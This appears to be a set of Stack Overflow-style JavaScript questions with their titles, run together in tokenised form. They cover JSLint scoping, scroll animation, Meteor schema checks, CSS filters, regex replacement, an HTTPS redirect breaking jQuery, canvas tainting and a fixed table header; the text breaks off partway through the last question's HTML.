JavaScript says that the above code should be equivalent to : and indeed , neither example causes a to exist in the global scope when run through Firebug . I took a look at section 12.14 of the ECMA-262 spec , but I do n't see anything that would lead me to think the functions should be treated differently . Is this just a bug in JSLint , or are the two expressions different in some functional way ? ( function ( ) { try { var a = 0 ; throw { name : `` fakeError '' } ; } catch ( e ) { a = 1 ; } } ( ) ) ; ( function ( ) { var a ; try { a = 0 ; throw { name : `` fakeError '' } ; } catch ( e ) { a = 1 ; } } ( ) ) ;",var keyword in try/catch expressions : JSLint bug or global assignment ? "JS : I have a horizontally scrolling element containing images that is situated out of view down the page.To start with , I have the following markup and styles . I 've used overflow : hidden because I do n't want scrollbars . For the sake of simplicity , I have also removed some less-important styles : Which gives me the following view : When this element scrolls into view , I want to scroll its entire contents horizontally until it 's about to go out of view , so the user gets to see its entire contents whilst scrolling down.The desired look when the element is about to leave the viewport would be : And vice-versa , the reverse action should happen when the user scroll upwards.To know when the element has entered the viewport I have use the Waypoints plugin : But I 'm stuck understanding what to do next , more specifically , how to work out how much to scroll ( alter the margin of ) the element in the short timeframe it has before leaves the viewport , ensuring all elements inside of it are shown before it does.I would appreciate a help over the finishing line . I do n't expect working code , although I 'd be grateful , I really just need an easy to understand explanation of what is required.UPDATE : I have just tried using an alternative method which does n't use the Waypoints plugin but instead uses ScrollMagic . This has definitely lifted a lot of the work required.The above snippet detects when the element # players-horizontal enters and leaves the viewport.When the element enters the bottom of viewport when scrolling down , the value returned starts at 0 and stops at 100 just before leaving the top of the viewport . When I scroll back up , the value starts at 100 and stops at 0 when the element is about to leave the bottom of the viewport . So , I 'm definitely a lot closer . < ul id= '' players-horizontal '' > < li class= '' player-box '' > < img src= '' ... '' > < /li > < li class= '' player-box '' > < img src= '' ... '' > < /li > ... < /ul > # players-horizontal { overflow : hidden ; height : 340px ; width : 100 % ; } # players-horizontal .player-box { display : inline-block ; width : 300px ; height : 340px ; } # players-horizontal .player-box : first-child { margin-left : 90 % ; } var waypoints = $ ( ' # players-horizontal ' ) .waypoint ( function ( direction ) { if ( direction === 'down ' ) { //console.log ( `` Into view '' ) ; $ window.scroll ( function ( ) { var s = $ ( this ) .scrollTop ( ) ; } ) ; } else { //console.log ( `` Out of view '' ) ; $ window.scroll ( function ( ) { var s = $ ( this ) .scrollTop ( ) ; } ) ; } } , { offset : '90 % ' } ) ; var scene = new ScrollMagic.Scene ( { triggerElement : `` # players-horizontal '' , duration : 200 } ) .addTo ( controller ) .on ( `` progress '' , function ( e ) { console.log ( ( e.progress * 100 ) ) ; } ) ;","When element enters viewport , scroll its entire contents horizontally before it leaves the viewport" "JS : I 'm using autoform , collection2 . I want to use method call type for insert/update , as I want to add additional fields before saving to database in server . SimpleSchema would check the data in client , but how can I make the data is checked against the schema on server-side as well ? My method for adding new data is as follows : Meteor.methods ( { companyAdd : function ( companyAttr ) { // add additional fields to document var currentDate = new Date ( ) ; var company = _.extend ( companyAttr , { createdBy : user._id , createdAt : currentDate } ) ; var newCompanyId = Companies.insert ( company ) ; return { _id : newCompanyId } ; } }",Verifying schema on Meteor Method using autoform "JS : I was experimenting with CSS transforms when I found that filters flatten the transforms , just like transform-style : flat.Here 's a fiddle demonstrating this . I could n't find any information on this anywhere , so I would like to know if there is a workaround for this . var toggleFilter = function ( ) { var div = document.getElementById ( `` cube '' ) if ( div.className == `` cube '' ) { div.className = `` cube filter '' } else { div.className = `` cube '' } } * { transform-style : preserve-3d } div.cube { height : 100px ; width : 100px ; background : blue ; transform : rotateX ( 45deg ) rotateZ ( 45deg ) ; border : solid 2px black ; box-sizing : border-box ; } div.face1 { content : `` '' ; height : 100px ; width : 100px ; background : green ; transform : rotateY ( 90deg ) translateZ ( 50px ) translateX ( 50px ) ; border : solid 2px black ; box-sizing : border-box ; } div.face2 { content : `` '' ; height : 100px ; width : 100px ; background : red ; transform : rotateY ( 90deg ) rotateX ( -90deg ) translateZ ( -50px ) translateX ( 50px ) ; border : solid 2px black ; box-sizing : border-box ; } div.perspective { perspective : 900px ; position : absolute ; margin : 50px ; } .filter { filter : opacity ( 1 ) ; -webkit-filter : opacity ( 1 ) ; } < div class= '' perspective '' > < div id= '' cube '' class= '' cube '' > < div class= '' face1 '' > < /div > < div class= '' face2 '' > < /div > < /div > < /div > < button onclick= '' toggleFilter ( ) '' > Toggle .filter < /button >",CSS Filters break 3D transforms "JS : I 'm writing a function to recursively replace matches of a regex in a string . The replacement can be a function , as with vanilla .replace , and this function can access the original string through one of its arguments.I would like my function to replace only one match on each iteration . With a non-global regex , this will always be the case . However , some of the regexes this function receives will be global . Doing a traditional .replace ( regex , replacement ) means it could replace multiple times on each iteration , not only messing up the order in which the matches are processed , but also passing an incorrect index and original string to the replacement function.As an example : This outputswhen the desired output isHow can I get the function to process only one match on each iteration , whether the regex has the g flag or not ? Note that I 'm using the function in such a way that the second argument will always be a regex ( I have no control over this , nor over whether or not said regex has the g flag ) . function recursiveReplace ( string , regex , replacement ) { for ( var i = 1e8 ; i > 0 & & regex.test ( string ) ; i -- ) string = string.replace ( regex , replacement ) ; return string ; } console.log ( recursiveReplace ( `` abcdef '' , /../g , function ( match , index , original ) { console.log ( original ) ; return match [ 0 ] ; } ) ) ; abcdefabcdefabcdefaceaea abcdefacdefadefaefafa",Replacing only the first match of a global regex "JS : I have the following php script which works flawlessly in normal circumstances ( i.e . visiting the page directly ) : HTMLHOWEVER - when I add the following piece to the top of the page , the javascript/jquery functions simply stop working altogether . These pages require login so I need to ensure they are https protected but this error messes all that up . Any ideas what could be causing the issue ? < ! DOCTYPE html PUBLIC `` -//W3C//DTD XHTML 1.0 Transitional//EN '' `` http : //www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd '' > < html xmlns= '' http : //www.w3.org/1999/xhtml '' > < head > < meta http-equiv= '' Content-Type '' content= '' text/html ; charset=utf-8 '' / > < link rel= '' stylesheet '' type= '' text/css '' href= '' style.css '' / > < link rel= '' stylesheet '' type= '' text/css '' href= '' css/contact_search.css '' / > < script type= '' text/javascript '' src= '' http : //ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js '' > < /script > < script type= '' text/javascript '' src= '' js/jquery.watermarkinput.js '' > < /script > < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ ( document ) .click ( function ( ) { $ ( `` # display '' ) .hide ( ) ; } ) ; var cache = { } ; $ ( `` # searchbox '' ) .keyup ( function ( ) { var searchbox = $ ( this ) .val ( ) ; var dataString = 'searchword= ' + searchbox ; if ( searchbox.length < 3 ) { $ ( `` # display '' ) .hide ( ) ; } else { $ .ajax ( { type : `` POST '' , url : `` contact_search/search.php '' , data : dataString , cache : false , success : function ( html ) { $ ( `` # display '' ) .html ( html ) .show ( ) ; } } ) ; return false ; } ) ; } ) ; jQuery ( function ( $ ) { $ ( `` # searchbox '' ) .Watermark ( `` Search for Group '' ) ; } ) ; < /script > < /head > < body bgcolor= '' # e0e0e0 '' > < div class= '' body '' > < div class= '' liquid-round '' style= '' width:100 % ; '' > < div class= '' top '' > < span > < h2 > Contacts List < /h2 > < /span > < /div > < div class= '' center-content '' > < img src= '' images/search.gif '' style= '' float : right ; '' / > < input type= '' text '' id= '' searchbox '' maxlength= '' 20 '' value= '' < ? php echo $ _SESSION [ 'hello ' ] ; ? > '' / > < div id= '' display '' > < /div > < div style= '' clear : both ; '' > < /div > < /div > < div class= '' bottom '' > < span > < /span > < /div > < /div > < div class= '' liquid-round '' style= '' width:97 % ; '' > < div class= '' top '' > < span > < h2 > My Messages < /h2 > < /span > < /div > < div class= '' center-content '' style= '' min-height:200px ; '' > < /div > < div class= '' bottom '' > < span > < /span > < /div > < /div > < /div > < /body > < /html > < ? php session_start ( ) ; if ( $ _SERVER [ 'SERVER_PORT ' ] == 80 ) { header ( 'Location : https : //'. $ _SERVER [ 'HTTP_HOST ' ] . $ _SERVER [ `` REQUEST_URI '' ] ) ; die ( ) ; } ? >",Does HTTPS connection disabled jQuery ? "JS : I 'm doing to following : Generate an SVG document as a stringCapture it in a blob : URL with new Blob and createObjectURLCreate a fabric.Image object from it using fromURLIn the fromURL callback , call canvas.add to add the new Image to the canvasThis is my code : Then I try getImageData : In Chrome , this gives me the error : Uncaught DOMException : Failed to execute 'getImageData ' on 'CanvasRenderingContext2D ' : The canvas has been tainted by cross-origin data.This is strange because I do n't ever use any cross-origin URLs , only blob : URLs.In Firefox it works perfectly . The problem appears to be specific to Chrome . var svg = ' < svg xmlns= '' http : //www.w3.org/2000/svg '' width= '' 200 '' height = `` 200 '' > < foreignObject width= '' 100 % '' height= '' 100 % '' > < text xmlns = `` http : //www.w3.org/1999/xhtml '' style = `` font-size : 40px ; color : # FFFFFF '' > Example < /text > < /foreignObject > < /svg > ' ; var svgBlob = new Blob ( [ svg ] , { type : 'image/svg+xml ' } ) ; var svgURL = window.URL.createObjectURL ( svgBlob ) ; fabric.Image.fromURL ( svgURL , function ( oIMG ) { oIMG.crossOrigin = 'Anonymous ' ; canvas.add ( oIMG ) ; } ) ; var dataImage = context.getImageData ( 0,0 , canvas.width , canvas.height ) .data ;",Why does this SVG-holding ` blob : ` URL taint the canvas in Chrome ? "JS : I have a HTML table with JSON data in which dynamically I am trying to make tbody scroll vertically with fix headerI am trying to make tbody scroll vertically so that user can see data in single page only.What I have doneAs I have edited the code to make it clear what I am trying to achieve I am trying to make my tbody scroll.I am open to use any jQuery or JavaScript resources which can fix headers . var data = [ { `` billdate '' : `` 2018-08-01 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 274659 , `` discount '' : 297 , `` GST '' : 16479 , `` amount '' : 290954 } , { `` billdate '' : `` 2018-08-01 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 55185 , `` discount '' : 0 , `` GST '' : 3074 , `` amount '' : 58281 } , { `` billdate '' : `` 2018-08-01 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 62513 , `` discount '' : 0 , `` GST '' : 3306 , `` amount '' : 65880 } , { `` billdate '' : `` 2018-08-02 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 279509 , `` discount '' : 68 , `` GST '' : 16582 , `` amount '' : 296125 } , { `` billdate '' : `` 2018-08-02 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 53462 , `` discount '' : 0 , `` GST '' : 3064 , `` amount '' : 56545 } , { `` billdate '' : `` 2018-08-02 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 68651 , `` discount '' : 0 , `` GST '' : 3492 , `` amount '' : 72213 } , { `` billdate '' : `` 2018-08-03 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 327097 , `` discount '' : 539 , `` GST '' : 19945 , `` amount '' : 346605 } , { `` billdate '' : `` 2018-08-03 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 59341 , `` discount '' : 105 , `` GST '' : 3370 , `` amount '' : 62459 } , { `` billdate '' : `` 2018-08-03 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 61953 , `` discount '' : 0 , `` GST '' : 3225 , `` amount '' : 65248 } , { `` billdate '' : `` 2018-08-04 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 490465 , `` discount '' : 839 , `` GST '' : 28465 , `` amount '' : 518212 } , { `` billdate '' : `` 2018-08-04 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 99212 , `` discount '' : 0 , `` GST '' : 5567 , `` amount '' : 104801 } , { `` billdate '' : `` 2018-08-04 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 131349 , `` discount '' : 0 , `` GST '' : 6676 , `` amount '' : 138151 } , { `` billdate '' : `` 2018-08-05 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 594466 , `` discount '' : 591 , `` GST '' : 34374 , `` amount '' : 628358 } , { `` billdate '' : `` 2018-08-05 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 109134 , `` discount '' : 0 , `` GST '' : 6067 , `` amount '' : 115223 } , { `` billdate '' : `` 2018-08-05 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 127449 , `` discount '' : 0 , `` GST '' : 6511 , `` amount '' : 134107 } , { `` billdate '' : `` 2018-08-06 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 167811 , `` discount '' : 0 , `` GST '' : 9968 , `` amount '' : 177866 } , { `` billdate '' : `` 2018-08-06 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 62796 , `` discount '' : 0 , `` GST '' : 3257 , `` amount '' : 66095 } , { `` billdate '' : `` 2018-08-07 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 268298 , `` discount '' : 268 , `` GST '' : 15943 , `` amount '' : 284069 } , { `` billdate '' : `` 2018-08-07 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 55381 , `` discount '' : 0 , `` GST '' : 3383 , `` amount '' : 58789 } , { `` billdate '' : `` 2018-08-07 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 64586 , `` discount '' : 6 , `` GST '' : 3285 , `` amount '' : 67886 } , { `` billdate '' : `` 2018-08-08 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 295544 , `` discount '' : 246 , `` GST '' : 17716 , `` amount '' : 313128 } , { `` billdate '' : `` 2018-08-08 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 56453 , `` discount '' : 0 , `` GST '' : 3462 , `` amount '' : 59939 } , { `` billdate '' : `` 2018-08-08 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 65159 , `` discount '' : 0 , `` GST '' : 3381 , `` amount '' : 68558 } , { `` billdate '' : `` 2018-08-09 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 303778 , `` discount '' : 201 , `` GST '' : 18115 , `` amount '' : 321797 } , { `` billdate '' : `` 2018-08-09 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 60795 , `` discount '' : 0 , `` GST '' : 3620 , `` amount '' : 64431 } , { `` billdate '' : `` 2018-08-09 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 54495 , `` discount '' : 0 , `` GST '' : 2841 , `` amount '' : 57352 } , { `` billdate '' : `` 2018-08-10 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 305223 , `` discount '' : 53 , `` GST '' : 18287 , `` amount '' : 323556 } , { `` billdate '' : `` 2018-08-10 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 55584 , `` discount '' : 36 , `` GST '' : 3207 , `` amount '' : 58772 } , { `` billdate '' : `` 2018-08-10 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 41584 , `` discount '' : 0 , `` GST '' : 2128 , `` amount '' : 43722 } , { `` billdate '' : `` 2018-08-11 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 439024 , `` discount '' : 177 , `` GST '' : 25148 , `` amount '' : 464127 } , { `` billdate '' : `` 2018-08-11 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 88009 , `` discount '' : 0 , `` GST '' : 5090 , `` amount '' : 93110 } , { `` billdate '' : `` 2018-08-11 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 59188 , `` discount '' : 0 , `` GST '' : 3156 , `` amount '' : 62213 } , { `` billdate '' : `` 2018-08-12 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 593776 , `` discount '' : 809 , `` GST '' : 33689 , `` amount '' : 626772 } , { `` billdate '' : `` 2018-08-12 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 119723 , `` discount '' : 45 , `` GST '' : 7245 , `` amount '' : 126933 } , { `` billdate '' : `` 2018-08-12 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 59926 , `` discount '' : 0 , `` GST '' : 3170 , `` amount '' : 63119 } , { `` billdate '' : `` 2018-08-13 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 157580 , `` discount '' : 340 , `` GST '' : 10053 , `` amount '' : 167391 } , { `` billdate '' : `` 2018-08-13 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 25730 , `` discount '' : 0 , `` GST '' : 1368 , `` amount '' : 27110 } , { `` billdate '' : `` 2018-08-14 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 260106 , `` discount '' : 298 , `` GST '' : 15181 , `` amount '' : 275115 } , { `` billdate '' : `` 2018-08-14 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 55145 , `` discount '' : 19 , `` GST '' : 3480 , `` amount '' : 58633 } , { `` billdate '' : `` 2018-08-14 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 36664 , `` discount '' : 0 , `` GST '' : 1916 , `` amount '' : 37920 } , { `` billdate '' : `` 2018-08-15 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 478163 , `` discount '' : 688 , `` GST '' : 27138 , `` amount '' : 504753 } , { `` billdate '' : `` 2018-08-15 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 98179 , `` discount '' : 0 , `` GST '' : 5661 , `` amount '' : 103855 } , { `` billdate '' : `` 2018-08-15 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 98536 , `` discount '' : 0 , `` GST '' : 4964 , `` amount '' : 103519 } , { `` billdate '' : `` 2018-08-16 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 277139 , `` discount '' : 594 , `` GST '' : 16406 , `` amount '' : 293049 } , { `` billdate '' : `` 2018-08-16 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 52828 , `` discount '' : 0 , `` GST '' : 3227 , `` amount '' : 56071 } , { `` billdate '' : `` 2018-08-16 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 53312 , `` discount '' : 0 , `` GST '' : 2730 , `` amount '' : 56061 } , { `` billdate '' : `` 2018-08-17 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 329539 , `` discount '' : 91 , `` GST '' : 19882 , `` amount '' : 349456 } , { `` billdate '' : `` 2018-08-17 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 62946 , `` discount '' : 0 , `` GST '' : 3659 , `` amount '' : 66624 } , { `` billdate '' : `` 2018-08-17 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 69126 , `` discount '' : 0 , `` GST '' : 3501 , `` amount '' : 72643 } , { `` billdate '' : `` 2018-08-18 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 443783 , `` discount '' : 724 , `` GST '' : 25712 , `` amount '' : 468771 } , { `` billdate '' : `` 2018-08-18 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 95622 , `` discount '' : 0 , `` GST '' : 5507 , `` amount '' : 101151 } , { `` billdate '' : `` 2018-08-18 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 107235 , `` discount '' : 0 , `` GST '' : 5683 , `` amount '' : 112950 } , { `` billdate '' : `` 2018-08-19 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 517922 , `` discount '' : 181 , `` GST '' : 28972 , `` amount '' : 546845 } , { `` billdate '' : `` 2018-08-19 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 96821 , `` discount '' : 0 , `` GST '' : 5490 , `` amount '' : 102334 } , { `` billdate '' : `` 2018-08-19 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 94158 , `` discount '' : 0 , `` GST '' : 4909 , `` amount '' : 99089 } , { `` billdate '' : `` 2018-08-20 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 156224 , `` discount '' : 35 , `` GST '' : 9423 , `` amount '' : 165700 } , { `` billdate '' : `` 2018-08-20 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 45547 , `` discount '' : 0 , `` GST '' : 2347 , `` amount '' : 47905 } , { `` billdate '' : `` 2018-08-21 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 289268 , `` discount '' : 214 , `` GST '' : 17613 , `` amount '' : 306776 } , { `` billdate '' : `` 2018-08-21 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 57684 , `` discount '' : 0 , `` GST '' : 3374 , `` amount '' : 61080 } , { `` billdate '' : `` 2018-08-21 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 57725 , `` discount '' : 0 , `` GST '' : 2950 , `` amount '' : 60682 } , { `` billdate '' : `` 2018-08-22 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 395657 , `` discount '' : 159 , `` GST '' : 22808 , `` amount '' : 418418 } , { `` billdate '' : `` 2018-08-22 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 82752 , `` discount '' : 0 , `` GST '' : 4618 , `` amount '' : 87390 } , { `` billdate '' : `` 2018-08-22 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 74048 , `` discount '' : 0 , `` GST '' : 3953 , `` amount '' : 77922 } , { `` billdate '' : `` 2018-08-23 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 302731 , `` discount '' : 1124 , `` GST '' : 17774 , `` amount '' : 319472 } , { `` billdate '' : `` 2018-08-23 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 63555 , `` discount '' : 0 , `` GST '' : 3565 , `` amount '' : 67142 } , { `` billdate '' : `` 2018-08-23 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 53637 , `` discount '' : 0 , `` GST '' : 2860 , `` amount '' : 56506 } , { `` billdate '' : `` 2018-08-24 '' , `` outlet '' : `` JAYANAGAR '' , `` gross '' : 284354 , `` discount '' : 774 , `` GST '' : 16423 , `` amount '' : 300111 } , { `` billdate '' : `` 2018-08-24 '' , `` outlet '' : `` MALLESHWARAM '' , `` gross '' : 48130 , `` discount '' : 0 , `` GST '' : 2857 , `` amount '' : 50997 } , { `` billdate '' : `` 2018-08-24 '' , `` outlet '' : `` KOLAR '' , `` gross '' : 55040 , `` discount '' : 0 , `` GST '' : 2871 , `` amount '' : 57926 } ] let formatData = function ( data ) { let billdates = [ ] ; let outlets = [ ] ; data.forEach ( element = > { if ( billdates.indexOf ( element.billdate ) == -1 ) { billdates.push ( element.billdate ) ; } if ( outlets.indexOf ( element.outlet ) == -1 ) { outlets.push ( element.outlet ) ; } } ) ; return { data : data , billdates : billdates , outlets : outlets , } ; } ; let renderTable = function ( data ) { billdates = data.billdates ; outlets = data.outlets ; data = data.data ; let tbl = document.getElementById ( `` dailySales '' ) ; let table = document.createElement ( `` table '' ) ; let thead = document.createElement ( `` thead '' ) ; let headerRow = document.createElement ( `` tr '' ) ; let th = document.createElement ( `` th '' ) ; th.innerHTML = `` BillDate '' ; th.classList.add ( `` text-center '' ) ; headerRow.appendChild ( th ) ; let grandTotal = 0 ; let grandGross = 0 ; let grandDiscount = 0 ; let grandGst = 0 ; let outletWiseTotal = { } ; let outletWiseGross = { } ; let outletWiseDiscount = { } ; let outletWiseGst = { } ; th = document.createElement ( `` th '' ) ; th.colSpan = 4 ; th.innerHTML = `` Total '' ; th.classList.add ( `` text-center '' ) ; headerRow.appendChild ( th ) ; outlets.forEach ( element = > { th = document.createElement ( `` th '' ) ; th.colSpan = 4 ; th.innerHTML = element ; th.classList.add ( `` text-center '' ) ; headerRow.appendChild ( th ) ; outletWiseTotal [ element ] = 0 ; outletWiseGross [ element ] = 0 ; outletWiseDiscount [ element ] = 0 ; outletWiseGst [ element ] = 0 ; data.forEach ( el = > { if ( el.outlet == element ) { outletWiseTotal [ element ] += parseInt ( el.amount ) ; outletWiseGross [ element ] += parseInt ( el.gross ) ; outletWiseDiscount [ element ] += parseInt ( el.discount ) ; outletWiseGst [ element ] += parseInt ( el.GST ) ; } } ) ; grandTotal += outletWiseTotal [ element ] ; grandGross += outletWiseGross [ element ] ; grandDiscount += outletWiseDiscount [ element ] ; grandGst += outletWiseGst [ element ] ; } ) ; thead.appendChild ( headerRow ) ; headerRow = document.createElement ( `` tr '' ) ; th = document.createElement ( `` th '' ) ; th.innerHTML = `` '' ; headerRow.appendChild ( th ) ; for ( i = 0 ; i < outlets.length + 1 ; i++ ) { th = document.createElement ( `` th '' ) ; th.innerHTML = `` Discount '' ; th.classList.add ( `` text-center '' ) ; headerRow.appendChild ( th ) ; th = document.createElement ( `` th '' ) ; th.innerHTML = `` GST '' ; th.classList.add ( `` text-center '' ) ; headerRow.appendChild ( th ) ; th = document.createElement ( `` th '' ) ; th.innerHTML = `` Net Amount '' ; th.classList.add ( `` text-center '' ) ; headerRow.appendChild ( th ) ; th = document.createElement ( `` th '' ) ; th.innerHTML = `` Gross Amount '' ; th.classList.add ( `` text-center '' ) ; headerRow.appendChild ( th ) ; } headerRow.insertBefore ( th , headerRow.children [ 1 ] ) ; thead.appendChild ( headerRow ) ; table.appendChild ( thead ) ; headerRow = document.createElement ( `` tr '' ) ; td = document.createElement ( `` th '' ) ; td.innerHTML = `` Total '' ; td.classList.add ( `` text-center '' ) ; headerRow.appendChild ( td ) ; outlets.forEach ( element = > { td = document.createElement ( `` th '' ) ; td.innerHTML = outletWiseGross [ element ] .toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; headerRow.appendChild ( td ) ; td = document.createElement ( `` th '' ) ; td.innerHTML = outletWiseDiscount [ element ] .toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; headerRow.appendChild ( td ) ; td = document.createElement ( `` th '' ) ; td.innerHTML = outletWiseGst [ element ] .toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; headerRow.appendChild ( td ) ; td = document.createElement ( `` th '' ) ; td.innerHTML = outletWiseTotal [ element ] .toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; headerRow.appendChild ( td ) ; } ) ; td = document.createElement ( `` th '' ) ; td.innerHTML = grandTotal.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; headerRow.insertBefore ( td , headerRow.children [ 1 ] ) ; td = document.createElement ( `` th '' ) ; td.innerHTML = grandGst.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; headerRow.insertBefore ( td , headerRow.children [ 1 ] ) ; td = document.createElement ( `` th '' ) ; td.innerHTML = grandDiscount.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; headerRow.insertBefore ( td , headerRow.children [ 1 ] ) ; td = document.createElement ( `` th '' ) ; td.innerHTML = grandGross.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; headerRow.insertBefore ( td , headerRow.children [ 1 ] ) ; thead.appendChild ( headerRow ) ; table.appendChild ( thead ) ; let tbody = document.createElement ( `` tbody '' ) ; billdates.forEach ( element = > { let row = document.createElement ( `` tr '' ) ; td = document.createElement ( `` td '' ) ; td.innerHTML = element ; row.appendChild ( td ) ; let total = 0 ; let totalGross = 0 ; let totalDiscount = 0 ; let totalGST = 0 ; outlets.forEach ( outlet = > { let ta = 0 ; let tg = 0 ; let tdi = 0 ; let tgst = 0 ; data.forEach ( d = > { if ( d.billdate == element & & d.outlet == outlet ) { total += parseInt ( d.amount ) ; totalGross += parseInt ( d.gross ) ; totalDiscount += parseInt ( d.discount ) ; totalGST += parseInt ( d.GST ) ; ta = d.amount ; tg = d.gross ; tdi = d.discount ; tgst = d.GST ; } } ) ; td = document.createElement ( `` td '' ) ; td.innerHTML = tg.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; row.appendChild ( td ) ; td = document.createElement ( `` td '' ) ; td.innerHTML = tdi.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; row.appendChild ( td ) ; td = document.createElement ( `` td '' ) ; td.innerHTML = tgst.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; row.appendChild ( td ) ; td = document.createElement ( `` td '' ) ; td.innerHTML = ta.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; row.appendChild ( td ) ; } ) ; /* console.log ( `` row is : `` , row.children ) */ td = document.createElement ( `` td '' ) ; td.innerHTML = total.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; row.insertBefore ( td , row.children [ 1 ] ) ; td = document.createElement ( `` td '' ) ; td.innerHTML = totalGST.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; row.insertBefore ( td , row.children [ 1 ] ) ; td = document.createElement ( `` td '' ) ; td.innerHTML = totalDiscount.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; row.insertBefore ( td , row.children [ 1 ] ) ; td = document.createElement ( `` td '' ) ; td.innerHTML = totalGross.toLocaleString ( 'en-IN ' ) ; td.classList.add ( `` text-right '' ) ; row.insertBefore ( td , row.children [ 1 ] ) ; tbody.appendChild ( row ) ; } ) ; table.appendChild ( tbody ) ; tbl.innerHTML = `` '' ; tbl.appendChild ( table ) ; table.classList.add ( `` table '' ) ; table.classList.add ( `` table-striped '' ) ; table.classList.add ( `` table-bordered '' ) ; table.classList.add ( `` table-hover '' ) ; } let formatedData = formatData ( data ) ; renderTable ( formatedData ) ; table.table-bordered > thead > tr > th { border : 1px solid white ; white-space : nowrap ; border-collapse : collapse ; font-family : Verdana ; font-size : 9pt ; padding : 5px 5px 5px 5px ; background-color : rgba ( 29 , 150 , 178 , 1 ) ; font-weight : normal ; text-align : center ; color : white ; } /* background-color : # 00998C */table.table-bordered > tbody > tr > td { border : 1px solid rgba ( 29 , 150 , 178 , 1 ) ; white-space : nowrap ; border-collapse : collapse ; font-family : Verdana ; font-size : 8pt ; background-color : rgba ( 84 , 83 , 72 , .1 ) ; padding : 5px 5px 5px 5px ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < link rel= '' stylesheet '' href= '' https : //stackpath.bootstrapcdn.com/bootstrap/4.1.2/css/bootstrap.min.css '' > < h1 > Testing < /h1 > < div align= '' center '' class= '' table table-responsive 